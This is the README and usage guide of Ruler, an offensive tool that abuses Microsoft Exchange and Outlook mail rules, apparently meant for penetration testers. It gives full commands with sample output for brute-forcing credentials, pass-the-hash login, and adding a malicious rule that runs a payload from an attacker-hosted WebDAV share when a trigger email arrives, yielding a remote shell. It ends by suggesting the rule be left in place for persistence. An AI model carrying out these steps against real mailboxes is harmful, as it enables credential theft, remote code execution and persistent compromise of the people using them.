Ruler is a tool that allows you to interact with Exchange servers remotely, through either the MAPI/HTTP or RPC/HTTP protocol. The main aim is abuse the client-side Outlook mail rules as described in: Silentbreak blog
Silentbreak did a great job with this attack and it has served us well. The only downside has been that it takes time to get setup. Cloning a mailbox into a new instance of Outlook can be time consuming. And then there is all the clicking it takes to get a mailrule created. Wouldn't the command line version of this attack be great? And that is how Ruler was born.
The full low-down on how Ruler was implemented and some background regarding MAPI can be found in our blog post: SensePost blog
For a demo of it in action: Ruler on YouTube
Ruler has multiple functions and more are planned. These include
- Enumerate valid users
- View currently configured mail rules
- Create new malicious mail rules
- Delete mail rules
Ruler attempts to be semi-smart when it comes to interacting with Exchange and uses the Autodiscover service (just as your Outlook client would) to discover the relevant information.
Ruler is written in Go so you'll need to have Go setup to run/build the project
Get it through Go:
go get github.com/sensepost/ruler
You can now run the app through go run if you wish:
go run ruler.go -h
Or build it (the prefered option):
The first step as always is to clone the repo :
git clone https://github.com/sensepost/ruler.git
Ensure you have the dependencies (go get is the easiest option, otherwise clone the repos into your GOPATH):
go get github.com/urfave/cli
go get github.com/howeyc/gopass
go get github.com/staaldraad/go-ntlm/ntlm
Then build it
go build
Compiled binaries for Linux, OSX and Windows are available. Find these in Releases
Ruler works with both RPC/HTTP and MAPI/HTTP. Ruler favours MAPI/HTTP as this is the default in Exchange 2016 and Office365 deployments. If MAPI/HTTP fails, an attempt will be made to use RPC/HTTP. You can also force RPC/HTTP by supplying the --rpc flag.
As mentioned before there are multiple functions to Ruler. In most cases you'll want to first find a set of valid credentials. Do this however you wish, Phishing, Wifi+Mana or brute-force.
Ruler has 5 basic commands, these are:
- display -- list all the current rules
- add -- add a rule
- delete -- delete a rule
- brute -- brute force credentials
- send -- send an email to trigger the shell
- help -- show the help screen
There are a few global flags that should be used with most commands, while each command has sub-flags. For details on these, use the help command.
NAME:
ruler - A tool to abuse Exchange Services
USAGE:
ruler-linux64 [global options] command [command options] [arguments...]
VERSION:
2.0.17
DESCRIPTION:
_
_ __ _ _| | ___ _ __
| '__| | | | |/ _ \ '__|
| | | |_| | | __/ |
|_| \__,_|_|\___|_|
A tool by @_staaldraad from @sensepost to abuse Exchange Services.
AUTHOR:
Etienne Stalmans <[email protected]>, @_staaldraad
COMMANDS:
add, a add a new rule
delete, r delete an existing rule
display, d display all existing rules
check, c Check if the credentials work and we can interact with the mailbox
send, s Send an email to trigger an existing rule. This uses the target user's own account.
brute, b Do a bruteforce attack against the autodiscover service to find valid username/passwords
abk Interact with the Global Address Book
troopers, t Troopers
help, h Shows a list of commands or help for one command
GLOBAL OPTIONS:
--domain value, -d value A domain for the user (optional in most cases. Otherwise allows: domain\username)
--o365 We know the target is on Office365, so authenticate directly against that.
--username value, -u value A valid username
--password value, -p value A valid password
--hash value A NT hash for pass the hash
--email value, -e value The target's email address
--cookie value Any third party cookies such as SSO that are needed
--url value If you know the Autodiscover URL or the autodiscover service is failing. Requires full URI, https://autodisc.d.com/autodiscover/autodiscover.xml
--insecure, -k Ignore server SSL certificate errors
--encrypt Use NTLM auth on the RPC level - some environments require this
--basic, -b Force Basic authentication
--admin Login as an admin
--nocache Don't use the cached autodiscover record
--rpc Force RPC/HTTP rather than MAPI/HTTP
--verbose Be verbose and show some of thei inner workings
--help, -h show help
--version, -v print the version
If you go the brute-force route, Ruler is your friend. It has a built-in brute-forcer which does a semi-decent job of finding creds.
./ruler --domain targetdomain.com brute --users /path/to/user.txt --passwords /path/to/passwords.txt
You should see your brute-force in action:
./ruler --domain evilcorp.ninja --insecure brute --users ~/users.txt --passwords ~/passwords.txt --delay 0 --verbose
[*] Starting bruteforce
[x] Failed: cindy.baker:P@ssw0rd
[x] Failed: henry.hammond:P@ssw0rd
[x] Failed: john.ford:P@ssw0rd
[x] Failed: cindy.baker:August2016
[x] Failed: henry.hammond:August2016
[+] Success: john.ford:August2016
[*] Multiple attempts. To prevent lockout - delaying for 0 minutes.
[x] Failed: cindy.baker:Evilcorp@2016
[x] Failed: henry.hammond:Evilcorp@2016
[x] Failed: cindy.baker:3V1lc0rp
[x] Failed: henry.hammond:3V1lc0rp
[*] Multiple attempts. To prevent lockout - delaying for 0 minutes.
[x] Failed: henry.hammond:Password1
[+] Success: cindy.baker:Password1
Alternatively, you can specify a userpass file with the --userpass option. The userpass file should be colon-delimited with one pair of credentials per line:
$ cat userpass.txt
john.ford:August2016
henry.hammond:Password!2016
cindy.baker:Password1
./ruler --domain evilcorp.ninja --insecure brute --userpass userpass.txt -v
[*] Starting bruteforce
[+] Success: john.ford:August2016
[x] Failed: henry.hammond:Password!2016
[+] Success: cindy.baker:Password1
There are a few other flags that work with brute
These are:
- --stop //stop on the first valid username:password combo
- --delay //how long to wait between multiple password guesses
- --attempts //how many attempts before we delay (attempts per user)
- --insecure //if the Exchange server has a bad SSL cerificate
- --verbose //be verbose and show failed attempts
While Ruler makes a best effort to "autodiscover" the necessary settings, you may still run into instances of it failing. The common causes are:
- autodiscover deployed over http and not https (we default to https as this is more common)
- No autodiscover DNS record
- Authentication failing
If you encounter an Exchange server where the Autodiscover service is failing, you can manually specify the Autodiscover URL:
./ruler --url http://autodiscover.somedomain.com/autodiscover/autodiscover.xml
If you run into issues with Authentication (and you know the creds are correct), you can try and force the use of basic authentication with the global --basic
The global --verbose flag will also give you some insight into the process being used by the autodiscover service.
Another interesting thing to note, is that Ruler doesn't require the --domain for authentication or autodiscover in most cases. The autodiscover service works off the email addresses domain. If you find that authentication is failing, it might mean that you require the internal domain name as part of the authentication string. For this, you will need to add --domain DOMAIN to your requests. This will ensure that NTLM auth does DOMAIN\USERNAME in the authentication sequence, instead of .\USERNAME.
Basic rule, use --domain with bruteforce (it uses this to figure out the autodiscover URL), otherwise leave it off.
Ruler has support for PtH attacks, allowing you to reuse valid NTLM hashes (think responder, mimikatz, mana-eap) instead of a password. Simply provide the hash instead of a password and you are good to go. To provide the hash, use the global flag --hash.
./ruler --username validuser --hash 71bc15c57d836a663ed0b02631d300be --email [email protected] display
Once you have a set of credentials you can target the user's mailbox. Here you'll need to know their email address (address book searching is in the planned extension).
./ruler --email [email protected] --username username --password password display
Output:
./ruler --username john.ford --password August2016 --email [email protected] display
[*] Retrieving MAPI info
[*] Doing Autodiscover for domain
[+] MAPI URL found: https://mail.evilcorp.ninja/mapi/emsmdb/[email protected]
[+] User DN: /o=Evilcorp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=beb65f5c92f74b868c138f7bcec7bfb8-John Ford
[*] Got Context, Doing ROPLogin
[*] And we are authenticated
[*] Openning the Inbox
[+] Retrieving Rules
[+] Found 0 rules
To delete rules, use either the ruleId displayed next to the rule name (000000df1), or the rule name. You will be prompted to verify the rule being deleted if you supply only the name.
./ruler --email [email protected] --username username delete --id 000000df1
./ruler --email [email protected] --username username delete --name myrule
Now the fun part. Your initial setup is the same as outlined in the Silentbreak blog, setup your webdav server to host your payload. A basic webdav server is included in this repostitory. This can be found here. To use this,
go run webdavserv.go -d /path/to/directory/to/serve
To create the new rule user Ruler and:
./ruler --email [email protected] --username username add --location "\\\\yourserver\\webdav\\shell.bat" --trigger "pop a shell" --name maliciousrule
The various parts:
--locationthis is the location of your remote shell note the double slashes (or c:/Windows/system32/calc.exe)--triggerthe string within the subject you want to trigger the rule--namea name for your rule
Output:
[*] Retrieving MAPI info
[*] Doing Autodiscover for domain
[+] MAPI URL found: https://mail.evilcorp.ninja/mapi/emsmdb/[email protected]
[+] User DN: /o=Evilcorp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=beb65f5c92f74b868c138f7bcec7bfb8-John Ford
[*] Got Context, Doing ROPLogin
[*] And we are authenticated
[*] Openning the Inbox
[*] Adding Rule
[*] Rule Added. Fetching list of rules...
[+] Found 1 rules
Rule: shell RuleID: 01000000127380b1
You should now be able to send an email to your target with the trigger string in the subject line. From testing the mailrule is synchronised across nearly instantaniously, so in most cases you should be able to get a shell almost immediatly, assuming outlook is open and connected.
If you want to automate the triggering of the rule, Ruler is able to create a new message in the user's inbox, using their own email address. This means you no longer need to send an email to your target. Simply use the --send flag when creating your rule, and Ruler will wait 30seconds for your rules to synchronise (adjust this in the source if you think 30s is too long/short) and then send an email via MAPI.
To customise the email sent with the --send flag, you can use --subject to specify a custom subject (remember to include your trigger word in the subject). Customise the body with --body
...
[*] Adding Rule
[*] Rule Added. Fetching list of rules...
[+] Found 1 rules
Rule: autopop RuleID: 010000000c4baa84
[*] Auto Send enabled, wait 30 seconds before sending email (synchronisation)
[*] Sending email
[*] Message sent, your shell should trigger shortly.
[*] And disconnecting from server
If you want to send the email manually, using the targets own email address, you can also call the send command directly.
./ruler --email [email protected] send --subject test --body "this is a test"
Enjoy your shell and don't forget to clean-up after yourself by deleting the rule (or leave it for persistence).